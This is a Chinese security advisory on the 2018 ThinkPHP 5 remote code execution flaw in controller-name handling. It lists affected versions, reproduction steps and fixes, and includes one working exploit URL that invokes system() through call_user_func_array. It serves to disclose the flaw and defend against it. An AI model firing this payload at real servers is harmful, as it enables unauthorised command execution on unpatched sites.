Thinkphp5 控制器名过滤不严导致 getshell 漏洞

来源:scanv2018.12.11

一、漏洞概述

1 简介

ThinkPHP[1]是为了简化企业级应用开发和敏捷 WEB 应用开发而诞生的快速、兼容而 且简单的轻量级国产 PHP 开发框架。最早诞生于 2006 年初,2007 年元旦正式更名为 ThinkPHP,幵且遵循 Apache2 开源协议发布。ThinkPHP 从诞生以来一直秉承简洁实用 的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。幵且拥有众多原创功 能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

2018/12/10,该软件发布安全补丁[2],修复了一个安全漏洞。由于框架对控制器名没 有进行足够的检测,在没有开启强制路由的情况下(默认关闭),会导致远程代码执行漏洞。

2 影响版本

Thinkphp 5.0.0-5.0.22。 Thinkphp 5.1.0-5.1.30。

二、漏洞复现

1 复现环境

 Ubuntu 18.04
 Apache 2.4.6
 Thinkphp 5.0.22

2 环境搭建

在 Thinkphp 官方网站下载 5.0.22 完整版[4],本地运行即可。

关闭强制路由模式,该模式默认为关闭。

application/config.php

3 复现过程及结果

访问

http://127.0.0.1/tp51/public/index.php?s=index/\think\app/invokefunction&function=ca ll_user_func_array&vars[0]=system&vars[1][]=id 可直接远程执行命令。

三、防护方案

1、升级到 Thinkphp 最新版本[5]。

2、开启强制路由模式

application/config.php

3、代码修复
对于 5.0 版本,在 thinkphp/library/think/App.php 增加过滤。

对于 5.1 版本,在 thinkphp/library/think/route/dispatch/Url.php 增加过滤。

4、使用第三方防火墙进行防护(如创宇盾[https://www.yunaq.com/cyd/])

5、技术业务咨询

知道创宇技术业务咨询热线 : 400-060-9587(政府,国有企业)、028-68360638(互联网企业)

四、相关链接

[1] Thinkphp 官方网站

http://www.thinkphp.cn

[2] 补丁详情

https://mp.weixin.qq.com/s?__biz=MjM5OTEzMzQwMA==&mid=2651667456&idx=1 &sn=746ee2b9aa2b02f6ff60ff906ec2939a&chksm=bd39b5b78a4e3ca1e40f83f2b20

知道创宇漏洞快递 Thinkphp5 控制器名过滤不严导致 getshell 漏洞应急报告 e4a32fb6cdc9e2b0f3ca64df0019108482876b78e2587c1fa&mpshare=1&scene=1&s

rcid=1210fSiB8Nl4PAsEVmqkZySb#rd

[3] Seebug 收录

https://www.seebug.org/vuldb/ssvid-97715

[4] Thinkphp5.0.22 下载地址

http://www.thinkphp.cn/down/1260.html

[5] Thinkphp 最新版下载地址 5.0.23:https://github.com/top-think/framework/releases/tag/v5.0.23 5.1.31:https://github.com/top-think/framework/releases/tag/v5.1.31

 

热门文章

关注知道创宇云安全

获取安全动态